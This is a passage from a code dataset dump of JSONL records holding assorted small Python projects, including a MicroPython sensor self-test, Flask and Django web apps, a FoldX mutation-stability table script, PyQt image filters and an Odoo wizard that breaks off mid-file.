results\",\n)\n\nparser.add_argument(\n \"--mp\",\n default=False,\n action=\"store_true\",\n help=\"Enable mixed precision (fp16 computation)\",\n)\n\nargs = parser.parse_args()\nif args.mp:\n print(\"Using mixed precision\")\n keras.mixed_precision.set_global_policy(\"mixed_float16\")\n\ngenerator = Text2Image(img_height=args.H, img_width=args.W, jit_compile=False)\nimg = generator.generate(\n args.prompt,\n num_steps=args.steps,\n unconditional_guidance_scale=args.scale,\n temperature=1,\n batch_size=1,\n seed=args.seed,\n)\nImage.fromarray(img[0]).save(args.output)\nprint(f\"saved at {args.output}\")\n","sub_path":"text2image.py","file_name":"text2image.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"635707065","text":"#libraries\nimport machine\nimport utime\nimport time\nfrom amg88xx import AMG88XX\nfrom machine import PWM\nimport voltage_measure\nimport sounds\n\n#pins\nadc = machine.ADC(bits=12) # create an ADC object\nvoltage_pin = adc.channel(pin='P18', attn=adc.ATTN_11DB) # create an analog pin on P18. 11DB to span over 2.198V.\nadc.vref(2198)\n\n#set up pin PWM timer for output to alarm buzzer\ntim = PWM(0, frequency=0)\nsounds.ch = tim.channel(2, pin=\"P19\", duty_cycle=0)\n\n#functions\ndef read_temperature():\n '''Read temperatures from sensor on I2C bus and set the highest detected temperature to variable highest_pixel_value.'''\n\n i2c = machine.I2C(1)\n sensor = AMG88XX(i2c)\n try:\n while True:\n highest_pixel_temp = 0\n utime.sleep(0.2)\n sensor.refresh() #refresh values from all pixels in sensor.\n for row in range(8):\n for col in range(8):\n if sensor[row, col] > highest_pixel_temp: #select the highest of the pixel 64 detected temperatures\n highest_pixel_value = sensor[row, col]\n return highest_pixel_temp\n\n except Exception as e:\n print(\"Temperature read error: \" + str(e))\n\n#program starts\ntry:\n print(\"Initiating Thermalsensor drone startup selftest\\n\")\n\n #thermalsensor AMG8833 selftest\n print(\"Testing thermalsensor AMG8833...\")\n test_value = read_temperature()\n print(\"Returned value: \",test_value,\" C\")\n if test_value < 0 or test_value > 130: # value must be in sensorlimits\n raise Exception\n print(\"Test completed!\")\n time.sleep(1)\n\n #battery level test\n print(\"Reading battery voltage...\")\n vbat = voltage_measure.vbat_measure(voltage_pin.voltage()) #get new battery voltage value\n print(\"Battery voltage: \",vbat,\" V\")\n if vbat < 3: # 11 V for battery, 3 V for USB\n raise ValueError\n print(\"Test completed!\")\n time.sleep(1)\n\n #buzzer test\n print(\"Testing buzzer...\")\n print(\"Playing tones... If silent: remove battery and check hardware\")\n sounds.buzzer_test()\n time.sleep(1)\n print(\"Test completed!\")\n\n #selftest complete\n time.sleep(1)\n sounds.boot_complete()\n print(\"\\nAll tests completed!\")\n\nexcept ValueError:\n print(\"The battery level is to low! Please remove battery and recharge.\")\n while True:\n sounds.error()\n\nexcept Exception:\n print(\"Sensor error! The sensor have returned none or an out of range value. Remove battery and check hardware!\")\n while True:\n sounds.error()\n","sub_path":"src/boot.py","file_name":"boot.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"57204223","text":"import unittest\nfrom app import app\nfrom unittest.mock import patch\nimport json\n\n\ndef find_one_mock(_):\n return {\n \"_id\": \"60c280e219b8d8664b1a06b6\",\n \"activo\": 1,\n \"apellido\": \"Peitzner\",\n \"correo\": \"guillermopeitzner@gmail.com\",\n \"direccion\": \"15 Calle C 15-27 Zona 11 de Mixco\",\n \"nombre\": \"Guillermo\",\n \"telefono\": \"50235240107\",\n \"tipo\": \"administrador\",\n }\n\n\nclass FlaskTest(unittest.TestCase):\n\n @patch(\"app.col.find_one\", find_one_mock)\n def test_default(self):\n tester = app.test_client(self)\n response = tester.post(\n \"/\", data=json.dumps({\"email\": \"guillermopeitzner@gmail.com\", \"password\": \"1234\"}), content_type='application/json')\n status_code = response.status_code\n data = response.data.decode(\"utf-8\")\n print(data)\n self.assertEquals(status_code, 200)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"src/backend/autenticacion/login/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"333224086","text":"from django.utils.html import format_html, format_html_join\nfrom django.utils.safestring import mark_safe\nfrom django.forms.utils import flatatt\n\nfrom . import wrappers\nfrom .utils import valid_padding, remove_blank_choice\n\n\ndef render_charfield(field, attrs):\n\t\"\"\"\n\tRender the generic CharField.\n\t\"\"\"\n\treturn field\n\n\ndef render_nullbooleanfield(field, attrs):\n\t\"\"\"\n\tRender NullBooleanField as dropdown. (\"Unknown\", \"Yes\", \"No\")\n\t\"\"\"\n\tfield.field.widget.attrs[\"class\"] = \"ui dropdown\"\n\treturn field\n\n\ndef render_booleanfield(field, attrs):\n\t\"\"\"\n\tRender BooleanField with label next to instead of above.\n\t\"\"\"\n\tattrs[\"_no_label\"] = 1 # No normal label for booleanfields\n\treturn wrappers.CHECKBOX_WRAPPER % {\n\t\t\"style\": valid_padding(attrs.get(\"_style\", \"\")),\n\t\t\"field\": field,\n\t\t\"label\": format_html(\n\t\t\twrappers.LABEL_TEMPLATE, field.html_name, mark_safe(field.label)\n\t\t)\n\t}\n\n\ndef render_choicefield(field, attrs, choices=None):\n\t\"\"\"\n\tRender ChoiceField as 'div' dropdown rather than select for more\n\tcustomization.\n\t\"\"\"\n\t# Allow custom choice list, but if no custom choice list then wrap all\n\t# choices into the `wrappers.CHOICE_TEMPLATE`\n\tif not choices:\n\t\tchoices = format_html_join(\n\t\t\t\"\", wrappers.CHOICE_TEMPLATE,\n\t\t\tremove_blank_choice(field.field._choices)\n\t\t)\n\n\tfield.field.widget.attrs[\"value\"] = field.value() or attrs.get(\"value\", \"\")\n\n\treturn wrappers.DROPDOWN_WRAPPER % {\n\t\t\"name\": field.html_name,\n\t\t\"attrs\": valid_padding(flatatt(field.field.widget.attrs)),\n\t\t\"placeholder\": attrs.get(\"placeholder\", \"Select\"),\n\t\t\"style\": valid_padding(attrs.get(\"_style\", \"\")),\n\t\t\"choices\": choices\n\t}\n\n\ndef render_iconchoicefield(field, attrs):\n\t\"\"\"\n\tRender a ChoiceField with icon support; where the value is split by a pipe\n\t(|): first element being the value, last element is the icon.\n\t\"\"\"\n\tchoices = \"\"\n\n\t# Loop over every choice to manipulate\n\tfor choice in remove_blank_choice(field.field._choices):\n\t\tvalue = choice[1].split(\"|\") # Value|Icon\n\n\t\t# Each choice is formatted with the choice value being split with\n\t\t# the \"|\" as the delimeter. First element is the value, the second\n\t\t# is the icon to be used.\n\t\tchoices += format_html(\n\t\t\twrappers.ICON_CHOICE_TEMPLATE,\n\t\t\tchoice[0], # Key\n\t\t\tmark_safe(wrappers.ICON_TEMPLATE.format(value[-1])), # Icon\n\t\t\tvalue[0] # Value\n\t\t)\n\n\t# Render a dropdown field\n\treturn render_choicefield(field, attrs, choices)\n\n\ndef render_countryfield(field, attrs):\n\t\"\"\"\n\tRender a custom ChoiceField specific for CountryFields.\n\t\"\"\"\n\tchoices = ((k, k.lower(), v)\n\t\tfor k, v in remove_blank_choice(field.field._choices))\n\n\t# Render a `ChoiceField` with all countries\n\treturn render_choicefield(\n\t\tfield, attrs, format_html_join(\"\", wrappers.COUNTRY_TEMPLATE, choices)\n\t)\n\n\ndef render_multiplechoicefield(field, attrs):\n\t\"\"\"\n\tMultipleChoiceField only requires the multiple class to be added.\n\t\"\"\"\n\tfield.field.widget.attrs[\"class\"] = \"ui multiple dropdown\"\n\treturn field\n\n\ndef render_datefield(field, attrs, style=\"date\"):\n\t\"\"\"\n\tDateField that uses wrappers.CALENDAR_WRAPPER.\n\t\"\"\"\n\treturn wrappers.CALENDAR_WRAPPER % {\n\t\t\"field\": field,\n\t\t\"style\": valid_padding(style),\n\t\t\"align\": valid_padding(attrs.get(\"_align\", \"\")),\n\t\t\"icon\": format_html(wrappers.ICON_TEMPLATE, attrs.get(\"_icon\")),\n\t}\n\n\ndef render_timefield(field, attrs):\n\t\"\"\"\n\tDateField with 'time' style.\n\t\"\"\"\n\treturn render_datefield(field, attrs, \"time\")\n\n\ndef render_datetimefield(field, attrs):\n\t\"\"\"\n\tDateField with 'datetime' style.\n\t\"\"\"\n\treturn render_datefield(field, attrs, \"datetime\")\n\n\nFIELDS = {\n\t# Choice Fields\n\t\"ChoiceField\": render_choicefield,\n\t\"TypedChoiceField\": render_choicefield,\n\t\"LazyTypedChoiceField\": render_choicefield,\n\t\"FilePathField\": render_choicefield,\n\n\t# Multi-choice Fields\n\t\"MultipleChoiceField\": render_multiplechoicefield,\n\t\"TypedMultipleChoiceField\": render_multiplechoicefield,\n\n\t# Custom-choice fields\n\t\"CountryField\": render_countryfield,\n\t\"IconChoiceField\": render_iconchoicefield,\n\n\t# Boolean Fields\n\t\"NullBooleanField\": render_nullbooleanfield,\n\t\"BooleanField\": render_booleanfield,\n\n\t# Date/time pickers\n\t\"DateField\": render_datefield,\n\t\"TimeField\": render_timefield,\n\t\"DateTimeField\": render_datetimefield,\n\n\t# Default\n\t\"_\": render_charfield\n}\n","sub_path":"semanticuiforms/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"168088189","text":"import json\nimport os\nimport time\n\nfrom flask import Flask, jsonify, render_template, request, send_from_directory\nfrom flask_socketio import SocketIO, emit, join_room, leave_room\nfrom werkzeug.utils import secure_filename\n\n\nMESSAGES_LIMIT = 100\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = os.getenv(\"SECRET_KEY\")\napp.config[\"UPLOAD_DIR\"] = os.getenv(\"UPLOAD_DIR\")\nsocketio = SocketIO(app)\n\nmessages = {}\nusers_online_global = set()\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route(\"/login/\")\ndef login():\n return render_template(\"login.html\")\n\n\n@app.route(\"/logout/\")\ndef logout():\n return render_template(\"login.html\")\n\n\n@app.route(\"/get-channels/\", methods=[\"POST\"])\ndef get_channels():\n if not messages:\n return jsonify({\"message\": \"no channel\"}), 204\n else:\n return jsonify(list(messages.keys()))\n\n\n@app.route(\"/get-messages/\", methods=[\"POST\"])\ndef get_messages():\n channel_name = request.form.get(\"channel_name\")\n if channel_name not in messages:\n return jsonify({\"message\": \"channel doesn't exist\"}), 404\n elif not messages[channel_name][\"messages\"]:\n return jsonify({\"message\": \"no message\"}), 204\n else:\n return jsonify(messages[channel_name][\"messages\"])\n\n\n@app.route(\"/get-users/\", methods=[\"POST\"])\ndef get_users():\n channel_name = request.form.get(\"channel_name\")\n if channel_name not in messages:\n return jsonify({\"message\": \"channel doesn't exist\"}), 404\n elif not messages[channel_name][\"users\"]:\n return jsonify({\"message\": \"no user\"}), 204\n else:\n return jsonify(list(messages[channel_name][\"users\"]))\n\n\n@app.route(\"/receive-file/\", methods=[\"POST\"])\ndef receive_file():\n channel_name = request.form.get(\"channel_name\")\n file = request.files[\"file\"]\n if file.filename == \"\":\n return jsonify({\"message\": \"empty file name\"}), 204\n\n filename = secure_filename(file.filename)\n new_filename = os.path.join(app.config['UPLOAD_DIR'], filename)\n if os.path.isfile(new_filename):\n # File already exists\n pass\n\n file.save(new_filename)\n link = \"/download/\" + filename\n return jsonify({\"message\": \"file saved\",\n \"filename\": filename,\n \"link\": link}), 201\n\n\n@app.route(\"/download/\")\ndef download(filename):\n if not os.path.isfile(os.path.join(app.config['UPLOAD_DIR'], filename)):\n return jsonify({\"message\": \"file not found\"}), 404\n\n return send_from_directory(app.config[\"UPLOAD_DIR\"],\n filename,\n as_attachment=True)\n\n\n@socketio.on(\"user connected\")\ndef connected(data):\n username = data[\"username\"]\n users_online_global.add(username)\n\n\n@socketio.on(\"user disconnected\")\ndef disconnected(data):\n username = data[\"username\"]\n users_online_global.discard(username)\n for channel_name in messages.keys():\n messages[channel_name][\"users\"].discard(username)\n\n\n@socketio.on(\"channel created\")\ndef channel_created(data):\n channel_name = data[\"channel_name\"]\n if channel_name not in messages:\n messages[channel_name] = {\n \"users\": set(),\n \"messages\": []\n }\n emit(\"announce channel\",\n {\"channel_name\": channel_name},\n broadcast=True)\n\n\n@socketio.on(\"join\")\ndef channel_entered(data):\n channel_name = data[\"channel_name\"]\n username = data[\"username\"]\n join_room(channel_name)\n messages[channel_name][\"users\"].add(username)\n emit(\"user joined\",\n {\"channel_name\": channel_name,\n \"username\": username,\n \"timestamp\": time.time()},\n room=channel_name)\n\n\n@socketio.on(\"leave\")\ndef channel_leaved(data):\n channel_name = data[\"channel_name\"]\n username = data[\"username\"]\n leave_room(channel_name)\n messages[channel_name][\"users\"].discard(username)\n emit(\"user leaved\",\n {\"channel_name\": channel_name,\n \"username\": username,\n \"timestamp\": time.time()},\n room=channel_name)\n\n\n@socketio.on(\"message sent\")\ndef message_sent(data):\n channel_name = data[\"channel_name\"]\n username = data[\"username\"]\n message = data[\"message\"]\n timestamp = time.time()\n if channel_name not in messages:\n messages[channel_name] = {\n \"users\": set(),\n \"messages\": []\n }\n messages[channel_name][\"messages\"].append({\n \"username\": username,\n \"message\": message,\n \"timestamp\": timestamp\n })\n if len(messages[channel_name][\"messages\"]) > MESSAGES_LIMIT:\n messages[channel_name][\"messages\"] = messages[channel_name][\"messages\"][-MESSAGES_LIMIT:]\n emit(\"announce message\",\n {\"channel_name\": channel_name,\n \"username\": username,\n \"message\": message,\n \"timestamp\": timestamp},\n room=channel_name)\n\n\n@socketio.on(\"file sent\")\ndef file_sent(data):\n channel_name = data[\"channel_name\"]\n username = data[\"username\"]\n filename = data[\"filename\"]\n link = data[\"link\"]\n timestamp = time.time()\n if channel_name not in messages:\n messages[channel_name] = {\n \"users\": set(),\n \"messages\": []\n }\n messages[channel_name][\"messages\"].append({\n \"timestamp\": timestamp,\n \"username\": username,\n \"link\": link,\n \"filename\": filename\n })\n if len(messages[channel_name][\"messages\"]) > MESSAGES_LIMIT:\n messages[channel_name][\"messages\"] = messages[channel_name][\"messages\"][-MESSAGES_LIMIT:]\n emit(\"announce file\",\n {\"channel_name\": channel_name,\n \"username\": username,\n \"timestamp\": timestamp,\n \"link\": link,\n \"filename\": filename},\n room=channel_name)\n\n\nif __name__ == \"__main__\":\n if not app.config[\"UPLOAD_DIR\"]:\n app.config[\"UPLOAD_DIR\"] = \"uploads\"\n if not os.path.isdir(app.config[\"UPLOAD_DIR\"]):\n os.mkdir(app.config[\"UPLOAD_DIR\"])\n\n socketio.run(app,\n host=os.getenv(\"FLASK_HOST\"),\n port=os.getenv(\"FLASK_PORT\"))\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":6095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"564659220","text":"ct = 0\nsoma = 0\nn = 0\npos = 0\nneg = 0\npar = 0\nimpar = 0\nsoma_par = 0\n\n\nwhile ct < 5:\n entrada = int(input(\"Digite um número inteiro: \"))\n if entrada > 0:\n pos = pos + entrada\n elif entrada < 0:\n neg = neg + 1\n\n if entrada % 2 == 0:\n par = par + 1\n soma_par = soma_par + entrada\n elif entrada % 2 == 1:\n impar = impar + 1\n \n \n soma = soma + entrada\n n = n + 1\n ct = ct + 1\n \nmedia = soma / n\nmedia_par = soma_par / par\nporcent = (impar * 100) / n\n\nprint(\"Soma dos números digitados: \" ,soma)\nprint(\"Qtd de números digitados: \" ,n)\nprint(\"Média dos números digitados: %.2f\" %media)\nprint(\"Soma dos números positivos: \" ,pos)\nprint(\"Qtd de números negativos: \" ,neg)\nprint(\"Média dos números pares: %.2f\" %media_par)\nprint(\"Porcentagem de números ímpares: %.2f: \" %porcent)\n","sub_path":"estruturas de repetição(while-for)/at2.py","file_name":"at2.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"349670331","text":"li = [10, 20, 126, 4, 55, 60, 85, 15, 47, 96]\r\n# 최댓값\r\n# 최댓값 변수에 리스트의 첫번째 값을 저장\r\n# 리스트의 값과 최댓값 변수와 비교해서 리스트 값이 크면 최댓값변수에 저장\r\n\r\nmax_num = li[0]\r\nmin_num = li[0]\r\n\r\nfor i in li:\r\n if i > max_num:\r\n max_num = i\r\n if i < min_num:\r\n min_num = i\r\n \r\nprint(\"최댓값은\", max_num)\r\nprint(\"최솟값은\", min_num)\r\n\r\n","sub_path":"list_max.py","file_name":"list_max.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"499441765","text":"import sys, time, os\nimport argparse\nimport re\n\n# function to check stability of delta delta G value\ndef stability_check(data):\n\n\t# list for stability categories\n\tstab_list = ['highly de-stabilizing', 'de-stabilizing', 'slightly de-stabilizing',\n\t'neutral',\n\t'slightly stabilizing', 'stabilizing', 'highly stabilizing']\n\n\t# stability criterion\n\tif (data > 1.84):\n\t\treturn(stab_list[0]) # highly de-stabilizing\n\telif (data <= 1.84) & (data > 0.92):\n\t\treturn(stab_list[1]) # de-stabilizing\n\telif (data <= 0.92) & (data > 0.46):\n\t\treturn(stab_list[2]) # slightly de-stabilizing\n\telif (data <= 0.46) & (data > -0.46):\n\t\treturn(stab_list[3]) # neutral\n\telif (data < -0.46) & (data >= -0.92):\n\t\treturn(stab_list[4]) # slightly stabilizing\n\telif (data < -0.92) & (data >= -1.84):\n\t\treturn(stab_list[5]) # stabilizing\n\telse:\n\t\treturn(stab_list[6]) # highly stabilizing\n\n# function to make tabular info for each mutation with info like Position, delta delta G value, stability\ndef foldx_process(delta_G_file, mutant_file, phenotype):\n\n\tdelta_G_list = [] # list to store delta delta G value\n\tdelta_G_stab = [] # list to store category\n\n\tpdb_name=delta_G_file.split('.')[0].split('Average_')[1] # model names common term\n\n\twith open(delta_G_file, 'r') as f_in_delta_G: #open avg delta delta G file\n\t\tfor line in f_in_delta_G:\n\t\t\tline = line.strip('\\n')\n\t\t\tif re.search(pdb_name, line): # check only models lines\n\t\t\t\tline = line.split('\\t')\n\t\t\t\tmut_id_AA = line[0].split('_')[-1] # model ID\n\t\t\t\tdelta_G = line[2]\t # delta delta G value\t\t\t\n\t\t\t\tdelta_G_list.append(delta_G) # update list\n\n\t\t\t\t# check stability of delta delta G\n\t\t\t\tstability = stability_check(float(delta_G))\n\t\t\t\tdelta_G_stab.append(stability) # update list\n\n\tmut_list = [] # list to store mutation info \n\n\twith open(mutant_file, 'r') as f_in_mut: # open mutation file\t\n\t\t\n\t\tfor line in f_in_mut:\n\t\t\t# mutation as in file containing original AA, PDB chain, position and replaced AA\n\t\t\tmutation = line.strip('\\n').split(';')[0]\n\t\t\tmut_pos = mutation[2:-1] # mutation position\n\n\t\t\t# original AA,position and replaced AA and position separately\n\t\t\tmut_info = mutation[0] + mutation[2:] + '\\t' + mut_pos\n\t\t\tmut_list.append(mut_info) # update list\n\n\t# output data\n\toutput_data = ''\n\n\tfor item in range(len(delta_G_list)):\n\t\toutput_data += mut_list[item] + '\\t' + delta_G_list[item] + '\\t' + delta_G_stab[item]+ '\\t' + phenotype + '\\n'\n\n\treturn output_data\n\ndef main( ):\n\tinput_file = args_.input_argument\n\toutput_file = args_.output_argument\n\n\tdelta_delta_HCM = input_file[0] # file containing avg delta delta G info HCM\n\tdelta_delta_DCM = input_file[1] # file containing avg delta delta G info DCM\n\n\tmutant_file_HCM = input_file[2] # file containing mutations HCM\n\tmutant_file_DCM = input_file[3] # file containing mutations DCM\n\t\n\t# call foldx_process for HCM\n\toutput_HCM = foldx_process(delta_delta_HCM, mutant_file_HCM, 'HCM')\n\n\t# call foldx_process for DCM\n\toutput_DCM = foldx_process(delta_delta_DCM, mutant_file_DCM, 'DCM')\n\n\t# output \n\toutput = 'Mutation' + '\\t' + 'Position' + '\\t' + 'Delta_Delta_G' + '\\t' + 'Feature' + '\\t' + 'Phenotype' + '\\n'\n\t\n\t# append the results\n\toutput += output_HCM + output_DCM\n\n\t# write output to a file\n\twith open(output_file[0], 'w') as f_out:\n\t\tf_out.write(output)\n\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description=\"A script to make table for plotting foldX data\")\n\tparser.add_argument('-i', nargs='+', dest=\"input_argument\",default=\"something.txt\", help=\"something file\")\n\tparser.add_argument('-o', nargs='+', dest=\"output_argument\",default=\"something_.txt\", help=\"something file\")\n\targs_ = parser.parse_args()\n\tmain( )\n\tprint('done')","sub_path":"MD_table_FoldX_V2.py","file_name":"MD_table_FoldX_V2.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"645230967","text":"from PyQt5.QtWidgets import *\nfrom PyQt5 import uic\nfrom PyQt5.QtGui import *\nimport qimage2ndarray\nimport numpy as np\n\n# 그레이 스케일 \ndef Gray_scale(image_arr):\n \n arr=[0.299, 0.587, 0.114] #rgb를 Grayscale로 변환하는 공식 \n gray_arr=image_arr.dot(arr)\n return gray_arr\n\n# 가우시안 필터 \ndef Gaussian_filter(gray_arr):\n\n dims=gray_arr.shape\n n=dims[0]; m=dims[1] \n gaus_arr=np.copy(gray_arr)\n for j in range(1,n-1):\n for i in range(1,m-1):\n gaus_arr[j,i]+=(gray_arr[j-1,i]+gray_arr[j+1,i]+gray_arr[j,i-1]+gray_arr[j,i+1])*0.5\n gaus_arr[j,i]+=(gray_arr[j-1,i-1]+gray_arr[j-1,i+1]+gray_arr[j+1,i-1]+gray_arr[j+1,i+1])*0.25 \n gaus_arr/=4.\n return gaus_arr\n\n#라플라시안 필터 \ndef Laplacian(gaus_arr):\n # 커널 형식 [0,1,0],[1,-4,1],[0,1,0]\n \n dims=gaus_arr.shape\n n=dims[0]; m=dims[1]\n lap_arr=np.copy(gaus_arr)\n\n for j in range(1,n-1):\n for i in range(1,m-1):\n lap=gaus_arr[i][j-1]+gaus_arr[i-1][j]+gaus_arr[i][j]*(-4)+gaus_arr[i+1][j]+gaus_arr[i][j+1]\n\n if(lap>255):\n lap=255\n if(lap<0):\n lap=0\n\n lap_arr[i][j]=lap\n \n return lap_arr\n\n\n#엣지 검출\n\ndef EdgeDetection(image):\n image_arr = qimage2ndarray.rgb_view(image) #Qimage를 numpy로 변환\n gray_arr=Gray_scale(image_arr) #그레이 스케일 \n gaus_arr=Gaussian_filter(gray_arr) #가우시안 필터\n lap_arr=Laplacian(gaus_arr) #라플라시안 필터 \n image=qimage2ndarray.array2qimage(lap_arr, normalize=False) #numpy를 Qimage로 변환\n qPixmapVar = QPixmap.fromImage(image) #Qimage를 Qpixmap으로 변환 \n \n return qPixmapVar\n","sub_path":"funcNasung.py","file_name":"funcNasung.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"270440444","text":"# coding: utf-8\nimport pandas as pd\nimport sys\nsys.path.append('..')\nfrom lib.utils import current_time, unpickle, to_pickle\n\n# sklearn\nfrom sklearn.cluster import MiniBatchKMeans\nfrom sklearn.decomposition import PCA, TruncatedSVD, FastICA, FactorAnalysis\nfrom sklearn.random_projection import GaussianRandomProjection, SparseRandomProjection\nfrom sklearn.manifold import TSNE\nfrom sklearn.preprocessing import StandardScaler\n\ndf = unpickle(\"../processed/v003/mol_vec_df.pkl\").set_index(\"molecule_name\")\n\nSEED = 71\nN_COMP = 10\nnum_clusters2 = 10\n\nfa = FactorAnalysis(n_components=N_COMP, )\npca = PCA(n_components=N_COMP, random_state=SEED)\ntsvd = TruncatedSVD(n_components=N_COMP, random_state=SEED)\nica = FastICA(n_components=N_COMP, random_state=SEED)\ngrp = GaussianRandomProjection(n_components=N_COMP, eps=0.1, random_state=SEED)\nsrp = SparseRandomProjection(n_components=N_COMP, dense_output=True, random_state=SEED)\nmbkm = MiniBatchKMeans(n_clusters=num_clusters2, random_state=SEED)\ntsne = TSNE(n_components=3, random_state=SEED)\n\nss = StandardScaler()\ndf_ss = pd.DataFrame(ss.fit_transform(df.fillna(df.mean(axis=0))), columns=df.columns)\n\ndecomp_cols = []\ncomp_results = []\ncomp_names = [\"fa\", \"pca\", \"tsvd\", \"ica\", \"grp\", \"srp\", \"mbkm\"] #, \"tsne\"] # removing tsne\nfor name, transform in zip(comp_names, [fa, pca, tsvd, ica, grp, srp, mbkm, tsne]):\n print(current_time(), \"{} converting...\".format(name), flush=True)\n n_components = N_COMP\n if name == 'mbkm':\n n_components = num_clusters2\n elif name == \"tsne\":\n n_components = 2\n df_results = pd.DataFrame(transform.fit_transform(df_ss))\n decomp_col = [\"{0}_{1:02d}\".format(name, i) for i in range(n_components)]\n df_results.columns = decomp_col\n decomp_cols.extend(decomp_col)\n df_results.reset_index(inplace=True)\n del df_results['index']\n comp_results.append(df_results)\n\ncomp_results_df = pd.concat(comp_results, axis=1)\n\ncomp_results_df = pd.concat([df.reset_index(drop=False)[\"molecule_name\"],\n comp_results_df.reset_index(drop=True)], axis=1)\n\nto_pickle(f\"../processed/v003/comp_molvec_df_{N_COMP}.pkl\", comp_results_df)\nprint(\"finished.\")","sub_path":"src/backup/molvec_embed_feat.py","file_name":"molvec_embed_feat.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"145533531","text":"# from django.shortcuts import render\nfrom django.views import generic\nfrom django.views.generic import CreateView, UpdateView, DeleteView\nfrom . import models\nfrom . import forms\n# Create your views here.\n\nclass BlogIndex(generic.ListView):\n queryset= models.Entry.objects.published()\n template_name = \"blogger/home.html\"\n paginate_by = 3\n\nclass BlogDetail(generic.DetailView):\n model = models.Entry #blog\n template_name = \"blogger/post.html\"\n\nclass BlogCreate(CreateView):\n model = models.Entry\n fields = [\"title\", \"body\", \"slug\", \"tags\"]\n","sub_path":"blog/blogger/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"538667612","text":"# -*- coding: utf-8 -*-\n\n\nfrom odoo import fields, models, api, _\nfrom odoo.exceptions import UserError, ValidationError, Warning\nfrom datetime import datetime, timedelta\nimport calendar\nimport logging\n\n\nclass WizardFixErrors(models.TransientModel):\n _name = 'chariots.wizard.fix.errors'\n _description = \"Wizard Chariots Multicompañia\"\n\n error_fix_selection = fields.Selection(\n string='Seleccionar tipo de arreglo',\n selection=[\n ('payment_inv_fix_acc_analytic_default', 'Arreglar pagos de fact. con cuenta analit. por defecto'),\n ('payment_inv_fix_very_acc_analytic', 'Arreglar pagos de fact. con varias cuentas analit.'),\n ('invoice_fix_acc_analytic_default', 'Arreglar facturas con cuenta analit. por defecto'),\n ('invoice_very_fix_acc_analytic_default', 'Arreglar facturas con varias cuentas analit.'),\n ('fix_account_move_journal', 'Regenerar asientos contables por Diario'),\n ('fix_create_payments', 'Generar pagos de las facturas'),\n ('fix_create_payments_by_store', 'Generar pagos de las facturas por tienda'),\n ('fix_create_no_sales', 'Generar Ventas KFC vacias'),\n ('fix_inv_payment_method', 'Arreglar asientos de pago de facturas kfc'),\n ('fix_attachments_cloud', 'Subir adjuntos facturas proveedor Drive'),\n ('fix_attachments_import_cloud', 'Forzar Importe facturas proveedor Drive'),\n ('fix_invoices_accounts', 'FIX: Cuentas Contables de Facturas'),\n ('fix_regenerate_acc_moves', 'Regenerar asientos contables de Facturas'),\n ('fix_inv_state', 'Cambiar estado facturas'),\n ('fix_invoices_account_analytic_default', 'Asociar cuentas analiticas a lineas de factura por Diario'),\n ('del_account_move_journal', 'Borrar asientos contables por Diario'),\n ('update_kfc_sale', 'Actualizar ventas y lineas de KFC'),\n ('update_import_residual_invoices', 'Actualizar importe residual por Diario'),\n ('delete_invoices', 'Eliminar facturas'),\n ('update_acc_analy_pay_kfc', 'Actualizar cuentas analiticas de pagos kfc'),\n ('new_kfc_sale_tax', 'Nuevos impuestos de ventas'),\n ('update_price_subtotal_signed', 'Actualizar subtotal de facturas por diario'),\n ('update_ca_journal', 'Actualizar CA de facturas por diario'),\n ('update_partner_st_line', 'Actualizar Empresas en extractos'),\n\n ],\n required=True\n )\n journal_id = fields.Many2one(string='Diario', comodel_name='account.journal')\n partner_id = fields.Many2one(string='Empresa', comodel_name='res.partner')\n\n acc_anal_id = fields.Many2one(string='Cuenta analitica', comodel_name='account.analytic.account')\n date_init = fields.Date(string='Fecha Inicio')\n date_from = fields.Date(string='Fecha Fin')\n\n def button_confirm(self):\n if self.error_fix_selection == 'fix_regenerate_acc_moves':\n self.fix_regenerate_acc_moves()\n if self.error_fix_selection == 'fix_inv_state':\n self.fix_inv_state()\n if self.error_fix_selection == 'fix_invoices_accounts':\n self.fix_invoices_accounts()\n if self.error_fix_selection == 'payment_inv_fix_acc_analytic_default':\n self.payment_inv_fix_acc_analytic_default()\n if self.error_fix_selection == 'payment_inv_fix_very_acc_analytic':\n self.payment_inv_fix_very_acc_analytic()\n if self.error_fix_selection == 'invoice_fix_acc_analytic_default':\n self.invoice_fix_acc_analytic_default()\n if self.error_fix_selection == 'invoice_very_fix_acc_analytic_default':\n self.invoice_very_fix_acc_analytic_default()\n if self.error_fix_selection == 'fix_account_move_journal':\n self.fix_account_move_journal()\n if self.error_fix_selection == 'fix_create_payments':\n self.fix_create_payments()\n if self.error_fix_selection == 'fix_inv_payment_method':\n self.fix_inv_payment_method()\n if self.error_fix_selection == 'fix_create_no_sales':\n self.fix_create_no_sales()\n if self.error_fix_selection == 'fix_attachments_cloud':\n self.fix_attachments_cloud()\n if 